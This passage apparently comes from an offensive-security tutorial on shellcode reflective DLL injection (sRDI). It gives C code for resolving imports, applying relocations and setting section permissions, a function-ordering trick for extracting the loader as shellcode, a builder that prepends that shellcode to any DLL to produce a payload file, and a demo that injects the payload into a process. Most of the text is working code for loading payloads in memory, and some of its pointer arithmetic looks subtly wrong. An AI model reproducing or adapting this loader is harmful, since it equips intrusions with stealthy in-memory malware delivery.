SIZE_T sTmpSize1 = 0x00,
sTmpSize2 = 0x00;
UNICODE_STRING UnicodeString = { 0 };
ANSI_STRING AnsiString = { 0 };
PVOID pLoadedModule = NULL,
pFunctionAddress = NULL;

MemZero(szTmpWideStr, sizeof(szTmpWideStr));

if ((pImgDataDir->VirtualAddress)) {

for (pImgImportDesc = C_PTR(U_PTR(pInjectionAddress) + pImgDataDir->VirtualAddress); pImgImportDesc->Name != 0; ++pImgImportDesc) {

MemZero(szTmpWideStr, sizeof(szTmpWideStr));

pTmpPtr = C_PTR(U_PTR(pInjectionAddress) + pImgImportDesc->Name);


pImgThunkOrign = C_PTR(U_PTR(pInjectionAddress) + pImgImportDesc->OriginalFirstThunk);
pImgThunkFirst = C_PTR(U_PTR(pInjectionAddress) + pImgImportDesc->FirstThunk);
szTmpWideChar = szTmpWideStr;

// Get size of module name string


for (lpTmpAsciiChar = pTmpPtr; *lpTmpAsciiChar; ++lpTmpAsciiChar);
sTmpSize2 = sTmpSize1 = U_PTR(lpTmpAsciiChar - C_PTR(pTmpPtr));

// Convert ascii to wide


while (--sTmpSize2 >= 0) {
if (!(*szTmpWideChar++ = *pTmpPtr++))
break;
}

// Initialize 'UNICODE_STRING'
UnicodeString.Length = UnicodeString.MaximumLength = sTmpSize1 * sizeof(WCHAR);
UnicodeString.MaximumLength += sizeof(WCHAR);
UnicodeString.Buffer = szTmpWideStr;

// Load module
if (!NT_SUCCESS(pWin32Apis->LdrLoadDll(NULL, 0, &UnicodeString, &pLoadedModule)))
return FALSE;

// Load function
for (; pImgThunkOrign->u1.AddressOfData; ++pImgThunkOrign, ++pImgThunkFirst) {

pFunctionAddress = NULL;

// Import by ordinal
if (IMAGE_SNAP_BY_ORDINAL(pImgThunkOrign->u1.Ordinal)) {

// Fetch 'pFunctionAddress'
if (!NT_SUCCESS(pWin32Apis->LdrGetProcedureAddress(pLoadedModule, NULL, IMAGE_ORDINAL(pImgThunkOrign->u1.Ordinal), &pFunctionAddress)))
return FALSE;

}
// Import by name
else {

pImprtByName = C_PTR(U_PTR(pInjectionAddress) + pImgThunkOrign->u1.AddressOfData);


pTmpPtr = pImprtByName->Name;

// Calculate the length of the function name


for (lpTmpAsciiChar = pTmpPtr; *lpTmpAsciiChar; ++lpTmpAsciiChar);
sTmpSize1 = U_PTR(lpTmpAsciiChar - C_PTR(pTmpPtr));

// Initialize 'ANSI_STRING'
AnsiString.Length = AnsiString.MaximumLength = sTmpSize1;
AnsiString.MaximumLength += sizeof(CHAR);
AnsiString.Buffer = pImprtByName->Name;

// Fetch 'pFunctionAddress'
if (!NT_SUCCESS(pWin32Apis->LdrGetProcedureAddress(pLoadedModule, &AnsiString, 0, &pFunctionAddress)))
return FALSE;
}

pImgThunkFirst->u1.Function = U_PTR(pFunctionAddress);
}
}
}

return TRUE;
}

The FixPeRelocations Function


The FixPeRelocations function is responsible for carrying out PE base relocations and it accepts the following parameters:

pImgNtHdrs A pointer to the NT headers of the DLL payload to be reflectively loaded.


pInjectionAddress The base address of the injected DLL payload.

VOID FixPeRelocations(IN PIMAGE_NT_HEADERS pImgNtHdrs, IN PVOID pInjectionAddress) {

PIMAGE_DATA_DIRECTORY pImgDataDir = &pImgNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];;


PIMAGE_BASE_RELOCATION pImgBaseReloc = NULL;
PIMAGE_RELOC pImgReloc = NULL;
ULONG_PTR uRelocOffset = NULL;
SIZE_T SizeOfBlock = 0x00;
PUCHAR pAddressOfBlock = NULL;

if (pImgDataDir->VirtualAddress) {

pImgBaseReloc = C_PTR(U_PTR(pInjectionAddress) + pImgDataDir->VirtualAddress);


uRelocOffset = U_PTR(pInjectionAddress) - pImgNtHdrs->OptionalHeader.ImageBase;

while (pImgBaseReloc->SizeOfBlock) {

SizeOfBlock = pImgBaseReloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) / sizeof(IMAGE_RELOC);


pImgReloc = pImgBaseReloc + sizeof(IMAGE_BASE_RELOCATION);

while (SizeOfBlock--) {

pAddressOfBlock = C_PTR(U_PTR(pInjectionAddress) + pImgBaseReloc->VirtualAddress + pImgReloc->Offset);

switch (pImgReloc->Type) {
case IMAGE_REL_BASED_HIGH: {
*((WORD*)pAddressOfBlock) += HIWORD(uRelocOffset);
break;
};

case IMAGE_REL_BASED_LOW: {
*((WORD*)pAddressOfBlock) += LOWORD(uRelocOffset);
break;
};

case IMAGE_REL_BASED_HIGHLOW: {
*((DWORD*)pAddressOfBlock) += (DWORD)uRelocOffset;
break;
};

case IMAGE_REL_BASED_DIR64: {
*((ULONG_PTR*)pAddressOfBlock) += (ULONG_PTR)uRelocOffset;
break;
};
default:
break;
}

pImgReloc += sizeof(IMAGE_RELOC);
}

pImgBaseReloc += pImgBaseReloc->SizeOfBlock;
}
}
}

The FixMemPermissions Function


Lastly, the FixMemPermissions function shown below, loops through all of the DLL payload's PE sections and sets the correct memory permission based on the Characteristics
element. FixMemPermissions accepts the following parameters:

pImgNtHdrs A pointer to the NT headers of the DLL payload to be reflectively loaded.


pInjectionAddress The base address of the injected DLL payload.
pWin32Apis A pointer to a populated WIN32_API structure.

BOOL FixMemPermissions(IN PIMAGE_NT_HEADERS pImgNtHdrs, IN PVOID pInjectionAddress, IN PWIN32_API pWin32Apis) {

PIMAGE_SECTION_HEADER pImgSecHdr = IMAGE_FIRST_SECTION(pImgNtHdrs);


ULONG uMemPageProtect = 0x00;
PVOID pTmpSectionAddr = NULL;
SIZE_T sTmpSectionSize = 0x00;

for (int i = 0; i < pImgNtHdrs->FileHeader.NumberOfSections; i++) {

// RO
if (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_READ)
uMemPageProtect = PAGE_READONLY;

// RW
if ((pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_WRITE) && (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_READ))
uMemPageProtect = PAGE_READWRITE;

// RX
if ((pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_READ))
uMemPageProtect = PAGE_EXECUTE_READ;

// RWX
if ((pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_WRITE) && (pImgSecHdr[i].Characteristics
& IMAGE_SCN_MEM_READ))
uMemPageProtect = PAGE_EXECUTE_READWRITE;

// Set the memory page protection at 'pTmpSectionAddr' of size 'sTmpSectionSize'


pTmpSectionAddr = C_PTR(U_PTR(pInjectionAddress) + pImgSecHdr[i].VirtualAddress);
if ((sTmpSectionSize = pImgSecHdr[i].SizeOfRawData)) {

if (!NT_SUCCESS(pWin32Apis->NtProtectVirtualMemory(NtCurrentProcess(), &pTmpSectionAddr, &sTmpSectionSize, uMemPageProtect, &uMemPageProtect)))


return FALSE;
}
}

return TRUE;
}

Function Order
Before moving on to how one can extract the reflective DLL shellcode from the compiled executable file, it is important to align the above functions so that each function is located
under the other. The first function in the order should be ShellcodeReflectiveLdr and the last one should be ReturnBaseAddress .

The function alignment is done using the /ORDER Visual Studio compiler option. This option is located under Linker > Optimization > Function Order , where it accepts a text file
name that specifies the link order for the functions.

With this being said, we will create a text file named FunctionOrder.txt in the same directory as the *.vcxproj file of the Visual Studio project. FunctionOrder.txt will contain
function names that are found in the code, in the order we want. The contents of the FunctionOrder.txt function are displayed below.

ShellcodeReflectiveLdr
InitializeWinApi32
FixImportAddressTable
FixPeRelocations
FixMemPermissions
ReturnBaseAddress
EndOfCode

The last function, EndOfCode , is covered in the upcoming section.

Extracting The Reflective DLL Shellcode Loader


Once the functions are in the correct order we can begin extracting the shellcode. We know that the included code in the shellcode starts with the ShellcodeReflectiveLdr function
and ends with the ReturnBaseAddress function. This is where the EndOfCode function comes into play where this function will not be invoked but instead, it will simply act as a pointer
to the end of the shellcode, as shown in the below image.

Constructing The Payload Builder


Following the extraction to the shellcode, one can prefix it to a given DLL file, constructing a reflective DLL on the fly. The reflective DLL shellcode starts at ShellcodeReflectiveLdr
and is of size equal to EndOfCode - ShellcodeReflectiveLdr bytes. The builder program uses the FileReadBuffer function to read a DLL file from the command line, appends it to the
extracted shellcode, and then writes the result to the disk using the FileWriteBuffer function.

The following is the builder's main function.

#define GET_FILENAME(PATH) (strrchr(PATH, '/') ? strrchr(PATH, '/') + 1 : (strrchr(PATH, '\\') ? strrchr(PATH, '\\') + 1 : PATH))
#define DEFAULT_PAYLOAD_NAME "sRDIPayload.bin"

typedef struct {
PVOID Buffer;
ULONG Length;
} BUFFER;

int main (int argc, char** argv) {

BUFFER BfrReflectiveLdr = { 0 },
BfrDllPayload = { 0 },
BfrOutputPayload = { 0 };

LPSTR cPayloadDllFile = NULL,


cFileNameOutput = NULL;

if (argc < 2)
return PrintHelp(argv);

printf("[*] Building The sRDI Payload... \n");

HandleCmdLineArgs(argc, argv, &cPayloadDllFile, &cFileNameOutput);


if (!cPayloadDllFile)
return PrintHelp(argv);
if (!cFileNameOutput) {
printf("[i] Using The Default Output File Name: \"%s\"\n", DEFAULT_PAYLOAD_NAME);
cFileNameOutput = DEFAULT_PAYLOAD_NAME;
}

BfrReflectiveLdr.Buffer = ShellcodeReflectiveLdr;
BfrReflectiveLdr.Length = (ULONG_PTR)EndOfCode - (ULONG_PTR)BfrReflectiveLdr.Buffer;

printf("[*] Reflective Loader Shellcode Is Generated With Size: %d Bytes\n", BfrReflectiveLdr.Length);

// Read the dll payload


if (!FileReadBuffer(cPayloadDllFile, &BfrDllPayload.Buffer, &BfrDllPayload.Length)) {
printf("[-] Failed To Read The Dll Payload File At: %s\n", cPayloadDllFile);
goto _END_OF_FUNC;
}

// Calculate the size of both files


BfrOutputPayload.Length = BfrReflectiveLdr.Length + BfrDllPayload.Length;
// Allocate enough buffer to host both files
if (!(BfrOutputPayload.Buffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, BfrOutputPayload.Length))) {
printf("[!] HeapAlloc Failed With Error: %ld\n", GetLastError());
goto _END_OF_FUNC;
}

printf("[i] Constructing The Payload ...");

// Construct the payload: RDS + DLL


memcpy(BfrOutputPayload.Buffer, BfrReflectiveLdr.Buffer, BfrReflectiveLdr.Length );
memcpy((ULONG_PTR)BfrOutputPayload.Buffer + BfrReflectiveLdr.Length, BfrDllPayload.Buffer, BfrDllPayload.Length );

printf("[+] DONE\n");

// Write the payload


if (!FileWriteBuffer(cFileNameOutput, BfrOutputPayload.Buffer, BfrOutputPayload.Length)) {
printf("[-] Failed To Write Output Buffer: %s\n", cFileNameOutput);
goto _END_OF_FUNC;
}

printf("[i] Payload Written To \"%s\"\n", cFileNameOutput);


printf("[*] Successfully Generated The sRDI Payload\n");

_END_OF_FUNC:
if (BfrDllPayload.Buffer)
HeapFree(GetProcessHeap(), 0x00, BfrDllPayload.Buffer);
if (BfrOutputPayload.Buffer)
HeapFree(GetProcessHeap(), 0x00, BfrOutputPayload.Buffer);
return 0;
}

Demo
For testing purposes, two new projects are created:

1. DllMsgBox The test DLL file that will be converted to a reflective DLL using the extracted shellcode. This DLL will call MessageBoxA , as well as print information regarding the DLL's
execution properties (text section address, passed parameter's address).
2. ShellcodeInjector The shellcode injector. This program will read the generated .bin file from the disk, and inject it into the current process using the CreateThread WinAPI.

First we generate the sRDI using ShellcodeRefLdrBuilder.exe .

View the sRDIPayload.bin file in a hex editor. The DLL is appended at offset 0xE10 , which is 3600 in decimal (the size of the reflective DLL shellcode).

Next, we execute the sRDIPayload.bin file using ShellcodeInjector.exe . sRDIPayload.bin is injected at 0x000001EB98BE0000 , where the text section of the DLL is at
0x000001EB98EB1000 .

View the injected reflective DLL shellcode in Process Hacker.

View the injected text section of the DllMsgBox.dll file.

You might also like